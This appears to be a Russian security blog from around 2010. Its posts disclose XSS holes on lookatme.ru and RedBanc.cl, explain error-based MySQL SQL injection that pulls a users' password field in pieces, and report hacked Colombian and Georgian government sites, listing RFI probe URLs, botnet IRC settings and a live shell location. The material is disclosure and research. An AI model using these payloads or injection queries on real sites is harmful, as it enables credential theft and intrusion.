XSS уязвимость на сайте lookatme.ru


Как-то в том году, а именно 19.10.2009 сообщил об уязвимости на популярном портале его администрации по следующим адресам:

support@lookatme.ru , admin@lookatme.ru

Ответа, естественно не последовало, а сегодня вдруг проверил эту уязвимость и с ужасом обнаружил, что она все еще на месте ;(

Интересно то, что пользовательские данные встречаются на странице много раз, однако только в 1 месте не фильтруются.

<div id=”b-search-1370682″>
<div></div>
<div>
<div></div>
<div>
<span>Поиск</span>
<input type=”text”
name=”query”
value=”“/><script>alert(document.cookie)</script><div

incremental=”"
onsearch=”"
results=”"
autocomplete=”off”/>

Было бы интересно проверить этот портал глубже, но времени заниматься такой работой как-то не очень ;)

И вот статистика на закуску, чтобы немного представить сколько проблем может натворить даже такая мелочь как XSS:

Alexa traffic rank for lookatme.ru: Traffic Rank Change
Yesterday 6,069 -5,013
7 day 8,770 -813
1 month 9,679 -868
3 month 10,147 +1,154

Так что ни много ни мало, а 368 место по рунету так наплевательски относиться к своей безопасности.

Tags: , , , , , ,

Leave a Comment

Особенность использования информации об ошибке в MySQL 4.1

Сегодня столкнулся с реализацией вывода полезной информации из БД через инъекцию в сообщению об ошибке.

Воспользовался техниками Qwazar, здоровья ему и попутного ветра.

Версия СУБД была 4ой, поэтому идея с rand(0) (в комметариях Д.Евтеева) отвалилась, использовал вероятностный подход.

Результат функции version() попал в ошибку практически сразу, а вот на этапе получения данных пришлось труднее.

Общаясь параллельно с Д.Евтеевым, мы быстро прикинули, что где-то есть подстава, потому как чудес не свете не бывает ;)

Сначала мысль была, что на моей подопытной СУБД не выходит доставать в ошибку именно текстовые поля, потому что ID туда нормально попадало.

Но после нескольких экспериментов стало ясно, что в ошибку не идет именно текст из-за его длины, в итоге запрос типа:

http://localhost/sql.php?id=1+UNION+select+1,count(*),
concat((select pass from users limit 1),0x3a,
floor(rand()*2))+x+from+users+group+by+x

Пришлось разбить на 4 запроса:

http://localhost/sql.php?id=1+UNION+select+1,count(*),
concat((select substring(pass,1,8) from users limit 1),
0x3a,floor(rand()*2))+x+from+users+group+by+x

http://localhost/sql.php?id=1+UNION+select+1,count(*),

concat((select substring(pass,8,8) from users limit 1),
0x3a,floor(rand()*2))+x+from+users+group+by+x

http://localhost/sql.php?id=1+UNION+select+1,count(*),

concat((select substring(pass,16,8) from users limit 1),
0x3a,floor(rand()*2))+x+from+users+group+by+x

http://localhost/sql.php?id=1+UNION+select+1,count(*),

concat((select substring(pass,24,8) from users limit 1),
0x3a,floor(rand()*2))+x+from+users+group+by+x

Возможно, удалось бы и на 3, не проверял, точно могу сказать, что 16 символов уже не пролезает.

Таким образом, либо вероятность длинного запроса на версии 4.1 очень мала (1000 запросов прошли без ошибки), либо просто не выходит внести в сообщение об ошибке большое количество символов (8<=x<16).

Причины такого странного поведения можно пообсуждать, в то, что вероятность зависит от длины как-то совсем не вериться.

http://localhost/sql.php?id=1+UNION+select+1,count(*),concat((select pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+x

Tags: , , , ,

Comments (3)

Уязвимость XSS на RedBanc.cl

Вчера появилось сообщение об обнаружении XSS уязвимости на сайте Чилийского RedBank

Товарищ искал, судя по всему LFI, но нашел XSS, хотя не спорю, выглядит оно именно как LFI :)

Сама уязвимость:

http://www.redbanc.cl/portal_redbanc/browse?pagina=<script>alert(‘XSS’);</script>

Оригинальная страница:

http://www.redbanc.cl/portal_redbanc/browse?pagina=portal_redbanc/inicio.htm

Источник:

http://blog.zerial.org/seguridad/vulnerabilidad-cross-site-scripting-xss-en-sitio-web-de-redbanc/

По настоящего момента уязвимость не была устранена, видимо в администраторы Чили не читают Full-Disclusure. Или там вообще нет администраторов…

Интересно, сколько будет стоить фишинг на такой странице через XSS, по сравнению, скажем, с 226млн. $ на SQL инъекцию.

Tags: , ,

Leave a Comment

Правительственные сайты Колумбии взломаны

Вслед за недавним сообщением о взломе сайтов Грузии, поступило еще одно заявление.

На этот раз взлому подверглись гос. сайты более далекой Колумбии.

Взломщики используют аналогичную схему, однако в этот раз, шелла обнаружить не удалось.

Используются загруженные файлы, содержащие PHP код такого содержания:

????&#65533;<?php /* Fx29ID */ echo("FeeL"."CoMz"); echo("FeeL"."CoMz"); /* Fx29ID */ ?>

Такой же маркер был найден и на сайтах Грузии.

Адреса, с которых происходят попытки сделать RFI следующие:

http://www.frentesdeseguridad.gov.co/administrator//modules/respon1.txt

http://www.frentesdeseguridad.gov.co/administrator/backups/image/id1.txt??

http://www.delitosinformaticos.gov.co/foro/avatars/.bbs/id1.txt???

Оригинальное сообщение о проблеме: http://blog.sucuri.net/2010/02/colombia-government-sites-hacked-and.html

Tags: , , ,

Leave a Comment

Взломаны правительственные сайты Грузии

В рассылке появилась заметка наблюдательного товарища, который анализируя логи увидел, что с правительственных сайтов Грузии на него идут странные запросы.

Оригинальное сообщение тут: http://blog.sucuri.net/2010/02/georgia-government-sites-hacked-and.html

Первые запросы пошли 12 января с адреса psg.gov.ge.

Искали в RFI и Register_globals. Мне особенно понравилась попытка переопределения $_SERVER[DOCUMENT_ROOT].

RFI был вот на такой нехитрый скрипт:

< ?php /* Fx29ID */ echo(“FeeL”.”CoMz”); echo(“FeeL”.”CoMz”); /* Fx29ID */ ?>

Также на сайте был найден маркер вот такого содержания:

# %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
# % private hackers pwned your box %
# %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%

Продолжив изыскания, автор установил, что ботнет упраляется через IRC:

servban=array(“irc.allnetwork.org”,”",”");
$bot['admin']=”E_motz”;
$bot['pass']=”gila”;
$bot['inick']=”identnick”;
$bot['pnick']=”passwordnick”;
$bot['basechan']=”#vanjava”;

Будем ждать, как говориться, официальных комментариев.

А пока, до сих пор можно видел шелл по адресу: http://www.justice.gov.ge/album/

Tags: ,

Leave a Comment

Живая лента Google подвержена CSRF

Сегодня в рассылке Full-Disclosure появилось сообщение о возможности проведения CSRF на новый сервис от Гугла – живая лента (Buzz).

Оригинальное уведомление ниже:

Greetings,

Google Buzz is an incredibly useful new social networking service.
However, it is also quite vulnerable to persistent CSRF attacks when
data is pulled from external data feeds.  For instance, I encourage
you to follow me me on Google Buzz by utilizing my profile below and
clicking "FOLLOW".  You can probably also search for me in Google
Buzz's interface within GMail as well.

http://www.google.com/profiles/kristian.hermansen
http://kristian-hermansen.blogspot.com/2010/02/google-buzz-csrf-test.html

My proof-of-concept merely executes a denial of service against Google
Buzz users for which the only recovery is to disable IMG tag loading,
reload Google Buzz, and either "mute" the posting or unfollow me
permanently.  This is non-intrusive PoC to demonstrate weaknesses and
the ever-increasing need to protect against CSRF attacks.  I hope you
enjoy the demonstration.

Cheers,
--
Kristian Erik Hermansen
http://www.linkedin.com/in/kristianhermansen

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Tags: ,

Comments (1)

PHP в очередной раз доказывает свое превосходство

Свежая уязвимость интерпретатора, найденная Grzegorz Stachowiak опубликована тут:

http://securityreason.com/achievement_securityalert/82

Не очень представляю применимость такой штуки, но, думаю, на каждую уязвимость найдется по уязвимому проекту ;)

Вещь, конечно, не инновационная, техника классическая…

Описание далее [Read the rest of this entry...]

Tags: ,

Leave a Comment

Альтернативные имена файлов для Win систем

Недавно прочитал интересное исследование от CoreSecurity, касательно уязвимостей веб-серверов Nginx, Cherokke и Mongoose на win системах.

Суть в том, что для обратной совместимости с DOS все файлы на виндах имеют альтернативные имена.

Имя составляется так:  <Первые 6 букв реального имени файла>~1.<Первые три буквы расширения файла>

Для файла C:\foobarfoo.barfoo короткое имя будет C:\foobar~1.bar

Если же короткие имена совпадают для разных файлов, то идентификаторы увеличиваются ~2, ~3 и т.д. от самого старого к самому новому файлу.

Сама уязвимость состоит в том, что через короткие имена можно просматривать содержимое скриптов и системных файлов. Мне это сразу напомнило недавние изыскания с MySQL.

В общем рекомендую ознакомиться с этим исследованиям и намотать этот метод на ус.

Я же немного продолжу изыскания на счет коротких имен и совместимости Win машин… [Read the rest of this entry...]

Tags: , , ,

Leave a Comment

Фонетические цепочки нашли еще одно применение

В недавнем номере Х вместе с Дмитрием Евтеевым из PT написали статью про слепые инъекции.

Там был статистический анализ слов английского языка, ставившей своей целью увеличение вероятность подбора следующего символа по предыдущему. Собственно, этот анализ и был моей частью статьи ;)

Метод был назван “фонетическими цепочками”.

После публикации статьи в голову пришла идея найти цепочкам новые применения. И вот что придумалось… [Read the rest of this entry...]

Tags: , ,

Comments (2)

Все плохое когда-нибудь кончается

Вот вернул блог, даже перенес с blogspot-a те сообщения, которые успел там набрать.

Заодно реорганизовал категории и избавился от MySQL вообще.

Так что все, что ни делается – все к лучшему!

Tags: ,

Leave a Comment